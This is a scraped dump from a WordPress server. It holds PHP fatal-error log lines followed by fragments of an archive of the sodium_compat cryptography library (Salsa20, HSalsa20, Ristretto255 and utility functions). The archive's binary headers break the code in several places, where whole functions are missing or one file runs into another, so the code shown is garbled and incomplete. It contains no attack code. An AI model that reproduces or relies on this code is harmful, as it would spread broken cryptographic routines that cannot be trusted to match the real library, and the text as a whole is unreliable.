/home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/Poly1305/State.php on line 10 [28-Jun-2025 09:12:51 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/Poly1305/State.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/Poly1305/State.php on line 10 [11-Jul-2025 10:12:36 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/Poly1305/State.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/Poly1305/State.php on line 10 PK)L[0) ) src/Core/Salsa20.phpnu[ 0; $i -= 2) { $x4 ^= self::rotate($x0 + $x12, 7); $x8 ^= self::rotate($x4 + $x0, 9); $x12 ^= self::rotate($x8 + $x4, 13); $x0 ^= self::rotate($x12 + $x8, 18); $x9 ^= self::rotate($x5 + $x1, 7); $x13 ^= self::rotate($x9 + $x5, 9); $x1 ^= self::rotate($x13 + $x9, 13); $x5 ^= self::rotate($x1 + $x13, 18); $x14 ^= self::rotate($x10 + $x6, 7); $x2 ^= self::rotate($x14 + $x10, 9); $x6 ^= self::rotate($x2 + $x14, 13); $x10 ^= self::rotate($x6 + $x2, 18); $x3 ^= self::rotate($x15 + $x11, 7); $x7 ^= self::rotate($x3 + $x15, 9); $x11 ^= self::rotate($x7 + $x3, 13); $x15 ^= self::rotate($x11 + $x7, 18); $x1 ^= self::rotate($x0 + $x3, 7); $x2 ^= self::rotate($x1 + $x0, 9); $x3 ^= self::rotate($x2 + $x1, 13); $x0 ^= self::rotate($x3 + $x2, 18); $x6 ^= self::rotate($x5 + $x4, 7); $x7 ^= self::rotate($x6 + $x5, 9); $x4 ^= self::rotate($x7 + $x6, 13); $x5 ^= self::rotate($x4 + $x7, 18); $x11 ^= self::rotate($x10 + $x9, 7); $x8 ^= self::rotate($x11 + $x10, 9); $x9 ^= self::rotate($x8 + $x11, 13); $x10 ^= self::rotate($x9 + $x8, 18); $x12 ^= self::rotate($x15 + $x14, 7); $x13 ^= self::rotate($x12 + $x15, 9); $x14 ^= self::rotate($x13 + $x12, 13); $x15 ^= self::rotate($x14 + $x13, 18); } $x0 += $j0; $x1 += $j1; $x2 += $j2; $x3 += $j3; $x4 += $j4; $x5 += $j5; $x6 += $j6; $x7 += $j7; $x8 += $j8; $x9 += $j9; $x10 += $j10; $x11 += $j11; $x12 += $j12; $x13 += $j13; $x14 += $j14; $x15 += $j15; return self::store32_le($x0) . self::store32_le($x1) . self::store32_le($x2) . self::store32_le($x3) . self::store32_le($x4) . self::store32_le($x5) . self::store32_le($x6) . self::store32_le($x7) . self::store32_le($x8) . self::store32_le($x9) . self::store32_le($x10) . self::store32_le($x11) . self::store32_le($x12) . self::store32_le($x13) . self::store32_le($x14) . self::store32_le($x15); } /** * @internal You should not use this directly from another application * * @param int $len * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ public static function salsa20($len, $nonce, $key) { if (self::strlen($key) !== 32) { throw new RangeException('Key must be 32 bytes long'); } $kcopy = '' . $key; $in = self::substr($nonce, 0, 8) . str_repeat("\0", 8); $c = ''; while ($len >= 64) { $c .= self::core_salsa20($in, $kcopy, null); $u = 1; // Internal counter. for ($i = 8; $i < 16; ++$i) { $u += self::chrToInt($in[$i]); $in[$i] = self::intToChr($u & 0xff); $u >>= 8; } $len -= 64; } if ($len > 0) { $c .= self::substr( self::core_salsa20($in, $kcopy, null), 0, $len ); } try { ParagonIE_Sodium_Compat::memzero($kcopy); } catch (SodiumException $ex) { $kcopy = null; } return $c; } /** * @internal You should not use this directly from another application * * @param string $m * @param string $n * @param int $ic * @param string $k * @return string * @throws SodiumException * @throws TypeError */ public static function salsa20_xor_ic($m, $n, $ic, $k) { $mlen = self::strlen($m); if ($mlen < 1) { return ''; } $kcopy = self::substr($k, 0, 32); $in = self::substr($n, 0, 8); // Initialize the counter $in .= ParagonIE_Sodium_Core_Util::store64_le($ic); $c = ''; while ($mlen >= 64) { $block = self::core_salsa20($in, $kcopy, null); $c .= self::xorStrings( self::substr($m, 0, 64), self::substr($block, 0, 64) ); $u = 1; for ($i = 8; $i < 16; ++$i) { $u += self::chrToInt($in[$i]); $in[$i] = self::intToChr($u & 0xff); $u >>= 8; } $mlen -= 64; $m = self::substr($m, 64); } if ($mlen) { $block = self::core_salsa20($in, $kcopy, null); $c .= self::xorStrings( self::substr($m, 0, $mlen), self::substr($block, 0, $mlen) ); } try { ParagonIE_Sodium_Compat::memzero($block); ParagonIE_Sodium_Compat::memzero($kcopy); } catch (SodiumException $ex) { $block = null; $kcopy = null; } return $c; } /** * @internal You should not use this directly from another application * * @param string $message * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ public static function salsa20_xor($message, $nonce, $key) { return self::xorStrings( $message, self::salsa20( self::strlen($message), $nonce, $key ) ); } /** * @internal You should not use this directly from another application * * @param int $u * @param int $c * @return int */ public static function rotate($u, $c) { $u &= 0xffffffff; $c %= 32; return (int) (0xffffffff & ( ($u << $c) | ($u >> (32 - $c)) ) ); } } PK)L[* * src/Core/XChaCha20.phpnu[> 31) & 1; } /** * @param ParagonIE_Sodium_Core_Curve25519_Fe $u * @param ParagonIE_Sodium_Core_Curve25519_Fe $v * @return array{x: ParagonIE_Sodium_Core_Curve25519_Fe, nonsquare: int} * * @throws SodiumException */ public static function ristretto255_sqrt_ratio_m1( ParagonIE_Sodium_Core_Curve25519_Fe $u, ParagonIE_Sodium_Core_Curve25519_Fe $v ) { $sqrtm1 = ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(self::$sqrtm1); $v3 = self::fe_mul( self::fe_sq($v), $v ); /* v3 = v^3 */ $x = self::fe_mul( self::fe_mul( self::fe_sq($v3), $u ), $v ); /* x = uv^7 */ $x = self::fe_mul( self::fe_mul( self::fe_pow22523($x), /* x = (uv^7)^((q-5)/8) */ $v3 ), $u ); /* x = uv^3(uv^7)^((q-5)/8) */ $vxx = self::fe_mul( self::fe_sq($x), $v ); /* vx^2 */ $m_root_check = self::fe_sub($vxx, $u); /* vx^2-u */ $p_root_check = self::fe_add($vxx, $u); /* vx^2+u */ $f_root_check = self::fe_mul($u, $sqrtm1); /* u*sqrt(-1) */ $f_root_check = self::fe_add($vxx, $f_root_check); /* vx^2+u*sqrt(-1) */ $has_m_root = self::fe_iszero($m_root_check); $has_p_root = self::fe_iszero($p_root_check); $has_f_root = self::fe_iszero($f_root_check); $x_sqrtm1 = self::fe_mul($x, $sqrtm1); /* x*sqrt(-1) */ $x = self::fe_abs( self::fe_cmov($x, $x_sqrtm1, $has_p_root | $has_f_root) ); return array( 'x' => $x, 'nonsquare' => $has_m_root | $has_p_root ); } /** * @param string $s * @return int * @throws SodiumException */ public static function ristretto255_point_is_canonical($s) { $c = (self::chrToInt($s[31]) & 0x7f) ^ 0x7f; for ($i = 30; $i > 0; --$i) { $c |= self::chrToInt($s[$i]) ^ 0xff; } $c = ($c - 1) >> 8; $d = (0xed - 1 - self::chrToInt($s[0])) >> 8; $e = self::chrToInt($s[31]) >> 7; return 1 - ((($c & $d) | $e | self::chrToInt($s[0])) & 1); } /** * @param string $s * @param bool $skipCanonicalCheck * @return array{h: ParagonIE_Sodium_Core_Curve25519_Ge_P3, res: int} * @throws SodiumException */ public static function ristretto255_frombytes($s, $skipCanonicalCheck = false) { if (!$skipCanonicalCheck) { if (!self::ristretto255_point_is_canonical($s)) { throw new SodiumException('S is not canonical'); } } $s_ = self::fe_frombytes($s); $ss = self::fe_sq($s_); /* ss = s^2 */ $u1 = self::fe_sub(self::fe_1(), $ss); /* u1 = 1-ss */ $u1u1 = self::fe_sq($u1); /* u1u1 = u1^2 */ $u2 = self::fe_add(self::fe_1(), $ss); /* u2 = 1+ss */ $u2u2 = self::fe_sq($u2); /* u2u2 = u2^2 */ $v = self::fe_mul( ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(self::$d), $u1u1 ); /* v = d*u1^2 */ $v = self::fe_neg($v); /* v = -d*u1^2 */ $v = self::fe_sub($v, $u2u2); /* v = -(d*u1^2)-u2^2 */ $v_u2u2 = self::fe_mul($v, $u2u2); /* v_u2u2 = v*u2^2 */ // fe25519_1(one); // notsquare = ristretto255_sqrt_ratio_m1(inv_sqrt, one, v_u2u2); $one = self::fe_1(); $result = self::ristretto255_sqrt_ratio_m1($one, $v_u2u2); $inv_sqrt = $result['x']; $notsquare = $result['nonsquare']; $h = new ParagonIE_Sodium_Core_Curve25519_Ge_P3(); $h->X = self::fe_mul($inv_sqrt, $u2); $h->Y = self::fe_mul(self::fe_mul($inv_sqrt, $h->X), $v); $h->X = self::fe_mul($h->X, $s_); $h->X = self::fe_abs( self::fe_add($h->X, $h->X) ); $h->Y = self::fe_mul($u1, $h->Y); $h->Z = self::fe_1(); $h->T = self::fe_mul($h->X, $h->Y); $res = - ((1 - $notsquare) | self::fe_isnegative($h->T) | self::fe_iszero($h->Y)); return array('h' => $h, 'res' => $res); } /** * @param ParagonIE_Sodium_Core_Curve25519_Ge_P3 $h * @return string * @throws SodiumException */ public static function ristretto255_p3_tobytes(ParagonIE_Sodium_Core_Curve25519_Ge_P3 $h) { $sqrtm1 = ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(self::$sqrtm1); $invsqrtamd = ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(self::$invsqrtamd); $u1 = self::fe_add($h->Z, $h->Y); /* u1 = Z+Y */ $zmy = self::fe_sub($h->Z, $h->Y); /* zmy = Z-Y */ $u1 = self::fe_mul($u1, $zmy); /* u1 = (Z+Y)*(Z-Y) */ $u2 = self::fe_mul($h->X, $h->Y); /* u2 = X*Y */ $u1_u2u2 = self::fe_mul(self::fe_sq($u2), $u1); /* u1_u2u2 = u1*u2^2 */ $one = self::fe_1(); // fe25519_1(one); // (void) ristretto255_sqrt_ratio_m1(inv_sqrt, one, u1_u2u2); $result = self::ristretto255_sqrt_ratio_m1($one, $u1_u2u2); $inv_sqrt = $result['x']; $den1 = self::fe_mul($inv_sqrt, $u1); /* den1 = inv_sqrt*u1 */ $den2 = self::fe_mul($inv_sqrt, $u2); /* den2 = inv_sqrt*u2 */ $z_inv = self::fe_mul($h->T, self::fe_mul($den1, $den2)); /* z_inv = den1*den2*T */ $ix = self::fe_mul($h->X, $sqrtm1); /* ix = X*sqrt(-1) */ $iy = self::fe_mul($h->Y, $sqrtm1); /* iy = Y*sqrt(-1) */ $eden = self::fe_mul($den1, $invsqrtamd); $t_z_inv = self::fe_mul($h->T, $z_inv); /* t_z_inv = T*z_inv */ $rotate = self::fe_isnegative($t_z_inv); $x_ = self::fe_copy($h->X); $y_ = self::fe_copy($h->Y); $den_inv = self::fe_copy($den2); $x_ = self::fe_cmov($x_, $iy, $rotate); $y_ = self::fe_cmov($y_, $ix, $rotate); $den_inv = self::fe_cmov($den_inv, $eden, $rotate); $x_z_inv = self::fe_mul($x_, $z_inv); $y_ = self::fe_cneg($y_, self::fe_isnegative($x_z_inv)); // fe25519_sub(s_, h->Z, y_); // fe25519_mul(s_, den_inv, s_); // fe25519_abs(s_, s_); // fe25519_tobytes(s, s_); return self::fe_tobytes( self::fe_abs( self::fe_mul( $den_inv, self::fe_sub($h->Z, $y_) ) ) ); } /** * @param ParagonIE_Sodium_Core_Curve25519_Fe $t * @return ParagonIE_Sodium_Core_Curve25519_Ge_P3 * * @throws SodiumException */ public static function ristretto255_elligator(ParagonIE_Sodium_Core_Curve25519_Fe $t) { $sqrtm1 = ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(self::$sqrtm1); $onemsqd = ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(self::$onemsqd); $d = ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(self::$d); $sqdmone = ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(self::$sqdmone); $sqrtadm1 = ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(self::$sqrtadm1); $one = self::fe_1(); $r = self::fe_mul($sqrtm1, self::fe_sq($t)); /* r = sqrt(-1)*t^2 */ $u = self::fe_mul(self::fe_add($r, $one), $onemsqd); /* u = (r+1)*(1-d^2) */ $c = self::fe_neg(self::fe_1()); /* c = -1 */ $rpd = self::fe_add($r, $d); /* rpd = r+d */ $v = self::fe_mul( self::fe_sub( $c, self::fe_mul($r, $d) ), $rpd ); /* v = (c-r*d)*(r+d) */ $result = self::ristretto255_sqrt_ratio_m1($u, $v); $s = $result['x']; $wasnt_square = 1 - $result['nonsquare']; $s_prime = self::fe_neg( self::fe_abs( self::fe_mul($s, $t) ) ); /* s_prime = -|s*t| */ $s = self::fe_cmov($s, $s_prime, $wasnt_square); $c = self::fe_cmov($c, $r, $wasnt_square); // fe25519_sub(n, r, one); /* n = r-1 */ // fe25519_mul(n, n, c); /* n = c*(r-1) */ // fe25519_mul(n, n, ed25519_sqdmone); /* n = c*(r-1)*(d-1)^2 */ // fe25519_sub(n, n, v); /* n = c*(r-1)*(d-1)^2-v */ $n = self::fe_sub( self::fe_mul( self::fe_mul( self::fe_sub($r, $one), $c ), $sqdmone ), $v ); /* n = c*(r-1)*(d-1)^2-v */ $w0 = self::fe_mul( self::fe_add($s, $s), $v ); /* w0 = 2s*v */ $w1 = self::fe_mul($n, $sqrtadm1); /* w1 = n*sqrt(ad-1) */ $ss = self::fe_sq($s); /* ss = s^2 */ $w2 = self::fe_sub($one, $ss); /* w2 = 1-s^2 */ $w3 = self::fe_add($one, $ss); /* w3 = 1+s^2 */ return new ParagonIE_Sodium_Core_Curve25519_Ge_P3( self::fe_mul($w0, $w3), self::fe_mul($w2, $w1), self::fe_mul($w1, $w3), self::fe_mul($w0, $w2) ); } /** * @param string $h * @return string * @throws SodiumException */ public static function ristretto255_from_hash($h) { if (self::strlen($h) !== 64) { throw new SodiumException('Hash must be 64 bytes'); } //fe25519_frombytes(r0, h); //fe25519_frombytes(r1, h + 32); $r0 = self::fe_frombytes(self::substr($h, 0, 32)); $r1 = self::fe_frombytes(self::substr($h, 32, 32)); //ristretto255_elligator(&p0, r0); //ristretto255_elligator(&p1, r1); $p0 = self::ristretto255_elligator($r0); $p1 = self::ristretto255_elligator($r1); //ge25519_p3_to_cached(&p1_cached, &p1); //ge25519_add_cached(&p_p1p1, &p0, &p1_cached); $p_p1p1 = self::ge_add( $p0, self::ge_p3_to_cached($p1) ); //ge25519_p1p1_to_p3(&p, &p_p1p1); //ristretto255_p3_tobytes(s, &p); return self::ristretto255_p3_tobytes( self::ge_p1p1_to_p3($p_p1p1) ); } /** * @param string $p * @return int * @throws SodiumException */ public static function is_valid_point($p) { $result = self::ristretto255_frombytes($p); if ($result['res'] !== 0) { return 0; } return 1; } /** * @param string $p * @param string $q * @return string * @throws SodiumException */ public static function ristretto255_add($p, $q) { $p_res = self::ristretto255_frombytes($p); $q_res = self::ristretto255_frombytes($q); if ($p_res['res'] !== 0 || $q_res['res'] !== 0) { throw new SodiumException('Could not add points'); } $p_p3 = $p_res['h']; $q_p3 = $q_res['h']; $q_cached = self::ge_p3_to_cached($q_p3); $r_p1p1 = self::ge_add($p_p3, $q_cached); $r_p3 = self::ge_p1p1_to_p3($r_p1p1); return self::ristretto255_p3_tobytes($r_p3); } /** * @param string $p * @param string $q * @return string * @throws SodiumException */ public static function ristretto255_sub($p, $q) { $p_res = self::ristretto255_frombytes($p); $q_res = self::ristretto255_frombytes($q); if ($p_res['res'] !== 0 || $q_res['res'] !== 0) { throw new SodiumException('Could not add points'); } $p_p3 = $p_res['h']; $q_p3 = $q_res['h']; $q_cached = self::ge_p3_to_cached($q_p3); $r_p1p1 = self::ge_sub($p_p3, $q_cached); $r_p3 = self::ge_p1p1_to_p3($r_p1p1); return self::ristretto255_p3_tobytes($r_p3); } /** * @param int $hLen * @param ?string $ctx * @param string $msg * @return string * @throws SodiumException * @psalm-suppress PossiblyInvalidArgument hash API */ protected static function h2c_string_to_hash_sha256($hLen, $ctx, $msg) { $h = array_fill(0, $hLen, 0); $ctx_len = !is_null($ctx) ? self::strlen($ctx) : 0; if ($hLen > 0xff) { throw new SodiumException('Hash must be less than 256 bytes'); } if ($ctx_len > 0xff) { $st = hash_init('sha256'); self::hash_update($st, "H2C-OVERSIZE-DST-"); self::hash_update($st, $ctx); $ctx = hash_final($st, true); $ctx_len = 32; } $t = array(0, $hLen, 0); $ux = str_repeat("\0", 64); $st = hash_init('sha256'); self::hash_update($st, $ux); self::hash_update($st, $msg); self::hash_update($st, self::intArrayToString($t)); self::hash_update($st, $ctx); self::hash_update($st, self::intToChr($ctx_len)); $u0 = hash_final($st, true); for ($i = 0; $i < $hLen; $i += 64) { $ux = self::xorStrings($ux, $u0); ++$t[2]; $st = hash_init('sha256'); self::hash_update($st, $ux); self::hash_update($st, self::intToChr($t[2])); self::hash_update($st, $ctx); self::hash_update($st, self::intToChr($ctx_len)); $ux = hash_final($st, true); $amount = min($hLen - $i, 64); for ($j = 0; $j < $amount; ++$j) { $h[$i + $j] = self::chrToInt($ux[$i]); } } return self::intArrayToString(array_slice($h, 0, $hLen)); } /** * @param int $hLen * @param ?string $ctx * @param string $msg * @return string * @throws SodiumException * @psalm-suppress PossiblyInvalidArgument hash API */ protected static function h2c_string_to_hash_sha512($hLen, $ctx, $msg) { $h = array_fill(0, $hLen, 0); $ctx_len = !is_null($ctx) ? self::strlen($ctx) : 0; if ($hLen > 0xff) { throw new SodiumException('Hash must be less than 256 bytes'); } if ($ctx_len > 0xff) { $st = hash_init('sha256'); self::hash_update($st, "H2C-OVERSIZE-DST-"); self::hash_update($st, $ctx); $ctx = hash_final($st, true); $ctx_len = 32; } $t = array(0, $hLen, 0); $ux = str_repeat("\0", 128); $st = hash_init('sha512'); self::hash_update($st, $ux); self::hash_update($st, $msg); self::hash_update($st, self::intArrayToString($t)); self::hash_update($st, $ctx); self::hash_update($st, self::intToChr($ctx_len)); $u0 = hash_final($st, true); for ($i = 0; $i < $hLen; $i += 128) { $ux = self::xorStrings($ux, $u0); ++$t[2]; $st = hash_init('sha512'); self::hash_update($st, $ux); self::hash_update($st, self::intToChr($t[2])); self::hash_update($st, $ctx); self::hash_update($st, self::intToChr($ctx_len)); $ux = hash_final($st, true); $amount = min($hLen - $i, 128); for ($j = 0; $j < $amount; ++$j) { $h[$i + $j] = self::chrToInt($ux[$i]); } } return self::intArrayToString(array_slice($h, 0, $hLen)); } /** * @param int $hLen * @param ?string $ctx * @param string $msg * @param int $hash_alg * @return string * @throws SodiumException */ public static function h2c_string_to_hash($hLen, $ctx, $msg, $hash_alg) { switch ($hash_alg) { case self::CORE_H2C_SHA256: return self::h2c_string_to_hash_sha256($hLen, $ctx, $msg); case self::CORE_H2C_SHA512: return self::h2c_string_to_hash_sha512($hLen, $ctx, $msg); default: throw new SodiumException('Invalid H2C hash algorithm'); } } /** * @param ?string $ctx * @param string $msg * @param int $hash_alg * @return string * @throws SodiumException */ protected static function _string_to_element($ctx, $msg, $hash_alg) { return self::ristretto255_from_hash( self::h2c_string_to_hash(self::crypto_core_ristretto255_HASHBYTES, $ctx, $msg, $hash_alg) ); } /** * @return string * @throws SodiumException * @throws Exception */ public static function ristretto255_random() { return self::ristretto255_from_hash( ParagonIE_Sodium_Compat::randombytes_buf(self::crypto_core_ristretto255_HASHBYTES) ); } /** * @return string * @throws SodiumException */ public static function ristretto255_scalar_random() { return self::scalar_random(); } /** * @param string $s * @return string * @throws SodiumException */ public static function ristretto255_scalar_complement($s) { return self::scalar_complement($s); } /** * @param string $s * @return string */ public static function ristretto255_scalar_invert($s) { return self::sc25519_invert($s); } /** * @param string $s * @return string * @throws SodiumException */ public static function ristretto255_scalar_negate($s) { return self::scalar_negate($s); } /** * @param string $x * @param string $y * @return string */ public static function ristretto255_scalar_add($x, $y) { return self::scalar_add($x, $y); } /** * @param string $x * @param string $y * @return string */ public static function ristretto255_scalar_sub($x, $y) { return self::scalar_sub($x, $y); } /** * @param string $x * @param string $y * @return string */ public static function ristretto255_scalar_mul($x, $y) { return self::sc25519_mul($x, $y); } /** * @param string $ctx * @param string $msg * @param int $hash_alg * @return string * @throws SodiumException */ public static function ristretto255_scalar_from_string($ctx, $msg, $hash_alg) { $h = array_fill(0, 64, 0); $h_be = self::stringToIntArray( self::h2c_string_to_hash( self::HASH_SC_L, $ctx, $msg, $hash_alg ) ); for ($i = 0; $i < self::HASH_SC_L; ++$i) { $h[$i] = $h_be[self::HASH_SC_L - 1 - $i]; } return self::ristretto255_scalar_reduce(self::intArrayToString($h)); } /** * @param string $s * @return string */ public static function ristretto255_scalar_reduce($s) { return self::sc_reduce($s); } /** * @param string $n * @param string $p * @return string * @throws SodiumException */ public static function scalarmult_ristretto255($n, $p) { if (self::strlen($n) !== 32) { throw new SodiumException('Scalar must be 32 bytes, ' . self::strlen($p) . ' given.'); } if (self::strlen($p) !== 32) { throw new SodiumException('Point must be 32 bytes, ' . self::strlen($p) . ' given.'); } $result = self::ristretto255_frombytes($p); if ($result['res'] !== 0) { throw new SodiumException('Could not multiply points'); } $P = $result['h']; $t = self::stringToIntArray($n); $t[31] &= 0x7f; $Q = self::ge_scalarmult(self::intArrayToString($t), $P); $q = self::ristretto255_p3_tobytes($Q); if (ParagonIE_Sodium_Compat::is_zero($q)) { throw new SodiumException('An unknown error has occurred'); } return $q; } /** * @param string $n * @return string * @throws SodiumException */ public static function scalarmult_ristretto255_base($n) { $t = self::stringToIntArray($n); $t[31] &= 0x7f; $Q = self::ge_scalarmult_base(self::intArrayToString($t)); $q = self::ristretto255_p3_tobytes($Q); if (ParagonIE_Sodium_Compat::is_zero($q)) { throw new SodiumException('An unknown error has occurred'); } return $q; } } PK)L[YYsrc/Core/HSalsa20.phpnu[ 0; $i -= 2) { $x4 ^= self::rotate($x0 + $x12, 7); $x8 ^= self::rotate($x4 + $x0, 9); $x12 ^= self::rotate($x8 + $x4, 13); $x0 ^= self::rotate($x12 + $x8, 18); $x9 ^= self::rotate($x5 + $x1, 7); $x13 ^= self::rotate($x9 + $x5, 9); $x1 ^= self::rotate($x13 + $x9, 13); $x5 ^= self::rotate($x1 + $x13, 18); $x14 ^= self::rotate($x10 + $x6, 7); $x2 ^= self::rotate($x14 + $x10, 9); $x6 ^= self::rotate($x2 + $x14, 13); $x10 ^= self::rotate($x6 + $x2, 18); $x3 ^= self::rotate($x15 + $x11, 7); $x7 ^= self::rotate($x3 + $x15, 9); $x11 ^= self::rotate($x7 + $x3, 13); $x15 ^= self::rotate($x11 + $x7, 18); $x1 ^= self::rotate($x0 + $x3, 7); $x2 ^= self::rotate($x1 + $x0, 9); $x3 ^= self::rotate($x2 + $x1, 13); $x0 ^= self::rotate($x3 + $x2, 18); $x6 ^= self::rotate($x5 + $x4, 7); $x7 ^= self::rotate($x6 + $x5, 9); $x4 ^= self::rotate($x7 + $x6, 13); $x5 ^= self::rotate($x4 + $x7, 18); $x11 ^= self::rotate($x10 + $x9, 7); $x8 ^= self::rotate($x11 + $x10, 9); $x9 ^= self::rotate($x8 + $x11, 13); $x10 ^= self::rotate($x9 + $x8, 18); $x12 ^= self::rotate($x15 + $x14, 7); $x13 ^= self::rotate($x12 + $x15, 9); $x14 ^= self::rotate($x13 + $x12, 13); $x15 ^= self::rotate($x14 + $x13, 18); } return self::store32_le($x0) . self::store32_le($x5) . self::store32_le($x10) . self::store32_le($x15) . self::store32_le($x6) . self::store32_le($x7) . self::store32_le($x8) . self::store32_le($x9); } } PK)L[R>ppsrc/Core/Util.phpnu[> $size) & 1); return (int) ( ($integer ^ $negative) + (($negative >> $realSize) & 1) ); } /** * @param string $a * @param string $b * @return string * @throws SodiumException */ public static function andStrings($a, $b) { /* Type checks: */ if (!is_string($a)) { throw new TypeError('Argument 1 must be a string'); } if (!is_string($b)) { throw new TypeError('Argument 2 must be a string'); } $len = self::strlen($a); if (self::strlen($b) !== $len) { throw new SodiumException('Both strings must be of equal length to combine with bitwise AND'); } return $a & $b; } /** * Convert a binary string into a hexadecimal string without cache-timing * leaks * * @internal You should not use this directly from another application * * @param string $binaryString (raw binary) * @return string * @throws TypeError */ public static function bin2hex($binaryString) { /* Type checks: */ if (!is_string($binaryString)) { throw new TypeError('Argument 1 must be a string, ' . gettype($binaryString) . ' given.'); } $hex = ''; $len = self::strlen($binaryString); for ($i = 0; $i < $len; ++$i) { /** @var array $chunk */ $chunk = unpack('C', $binaryString[$i]); /** @var int $c */ $c = $chunk[1] & 0xf; /** @var int $b */ $b = $chunk[1] >> 4; $hex .= pack( 'CC', (87 + $b + ((($b - 10) >> 8) & ~38)), (87 + $c + ((($c - 10) >> 8) & ~38)) ); } return $hex; } /** * Convert a binary string into a hexadecimal string without cache-timing * leaks, returning uppercase letters (as per RFC 4648) * * @internal You should not use this directly from another application * * @param string $bin_string (raw binary) * @return string * @throws TypeError */ public static function bin2hexUpper($bin_string) { $hex = ''; $len = self::strlen($bin_string); for ($i = 0; $i < $len; ++$i) { /** @var array $chunk */ $chunk = unpack('C', $bin_string[$i]); /** * Lower 16 bits * * @var int $c */ $c = $chunk[1] & 0xf; /** * Upper 16 bits * @var int $b */ $b = $chunk[1] >> 4; /** * Use pack() and binary operators to turn the two integers * into hexadecimal characters. We don't use chr() here, because * it uses a lookup table internally and we want to avoid * cache-timing side-channels. */ $hex .= pack( 'CC', (55 + $b + ((($b - 10) >> 8) & ~6)), (55 + $c + ((($c - 10) >> 8) & ~6)) ); } return $hex; } /** * Cache-timing-safe variant of ord() * * @internal You should not use this directly from another application * * @param string $chr * @return int * @throws SodiumException * @throws TypeError */ public static function chrToInt($chr) { /* Type checks: */ if (!is_string($chr)) { throw new TypeError('Argument 1 must be a string, ' . gettype($chr) . ' given.'); } if (self::strlen($chr) !== 1) { throw new SodiumException('chrToInt() expects a string that is exactly 1 character long'); } /** @var array $chunk */ $chunk = unpack('C', $chr); return (int) ($chunk[1]); } /** * Compares two strings. * * @internal You should not use this directly from another application * * @param string $left * @param string $right * @param int $len * @return int * @throws SodiumException * @throws TypeError */ public static function compare($left, $right, $len = null) { $leftLen = self::strlen($left); $rightLen = self::strlen($right); if ($len === null) { $len = max($leftLen, $rightLen); $left = str_pad($left, $len, "\x00", STR_PAD_RIGHT); $right = str_pad($right, $len, "\x00", STR_PAD_RIGHT); } $gt = 0; $eq = 1; $i = $len; while ($i !== 0) { --$i; $gt |= ((self::chrToInt($right[$i]) - self::chrToInt($left[$i])) >> 8) & $eq; $eq &= ((self::chrToInt($right[$i]) ^ self::chrToInt($left[$i])) - 1) >> 8; } return ($gt + $gt + $eq) - 1; } /** * If a variable does not match a given type, throw a TypeError. * * @param mixed $mixedVar * @param string $type * @param int $argumentIndex * @throws TypeError * @throws SodiumException * @return void */ public static function declareScalarType(&$mixedVar = null, $type = 'void', $argumentIndex = 0) { if (func_num_args() === 0) { /* Tautology, by default */ return; } if (func_num_args() === 1) { throw new TypeError('Declared void, but passed a variable'); } $realType = strtolower(gettype($mixedVar)); $type = strtolower($type); switch ($type) { case 'null': if ($mixedVar !== null) { throw new TypeError('Argument ' . $argumentIndex . ' must be null, ' . $realType . ' given.'); } break; case 'integer': case 'int': $allow = array('int', 'integer'); if (!in_array($type, $allow)) { throw new TypeError('Argument ' . $argumentIndex . ' must be an integer, ' . $realType . ' given.'); } $mixedVar = (int) $mixedVar; break; case 'boolean': case 'bool': $allow = array('bool', 'boolean'); if (!in_array($type, $allow)) { throw new TypeError('Argument ' . $argumentIndex . ' must be a boolean, ' . $realType . ' given.'); } $mixedVar = (bool) $mixedVar; break; case 'string': if (!is_string($mixedVar)) { throw new TypeError('Argument ' . $argumentIndex . ' must be a string, ' . $realType . ' given.'); } $mixedVar = (string) $mixedVar; break; case 'decimal': case 'double': case 'float': $allow = array('decimal', 'double', 'float'); if (!in_array($type, $allow)) { throw new TypeError('Argument ' . $argumentIndex . ' must be a float, ' . $realType . ' given.'); } $mixedVar = (float) $mixedVar; break; case 'object': if (!is_object($mixedVar)) { throw new TypeError('Argument ' . $argumentIndex . ' must be an object, ' . $realType . ' given.'); } break; case 'array': if (!is_array($mixedVar)) { if (is_object($mixedVar)) { if ($mixedVar instanceof ArrayAccess) { return; } } throw new TypeError('Argument ' . $argumentIndex . ' must be an array, ' . $realType . ' given.'); } break; default: throw new SodiumException('Unknown type (' . $realType .') does not match expect type (' . $type . ')'); } } /** * Evaluate whether or not two strings are equal (in constant-time) * * @param string $left * @param string $right * @return bool * @throws SodiumException * @throws TypeError */ public static function hashEquals($left, $right) { /* Type checks: */ if (!is_string($left)) { throw new TypeError('Argument 1 must be a string, ' . gettype($left) . ' given.'); } if (!is_string($right)) { throw new TypeError('Argument 2 must be a string, ' . gettype($right) . ' given.'); } if (is_callable('hash_equals')) { return hash_equals($left, $right); } $d = 0; /** @var int $len */ $len = self::strlen($left); if ($len !== self::strlen($right)) { return false; } for ($i = 0; $i < $len; ++$i) { $d |= self::chrToInt($left[$i]) ^ self::chrToInt($right[$i]); } if ($d !== 0) { return false; } return $left === $right; } /** * Catch hash_update() failures and throw instead of silently proceeding * * @param HashContext|resource &$hs * @param string $data * @return void * @throws SodiumException * @psalm-suppress PossiblyInvalidArgument */ protected static function hash_update(&$hs, $data) { if (!hash_update($hs, $data)) { throw new SodiumException('hash_update() failed'); } } /** * Convert a hexadecimal string into a binary string without cache-timing * leaks * * @internal You should not use this directly from another application * * @param string $hexString * @param string $ignore * @param bool $strictPadding * @return string (raw binary) * @throws RangeException * @throws TypeError */ public static function hex2bin($hexString, $ignore = '', $strictPadding = false) { /* Type checks: */ 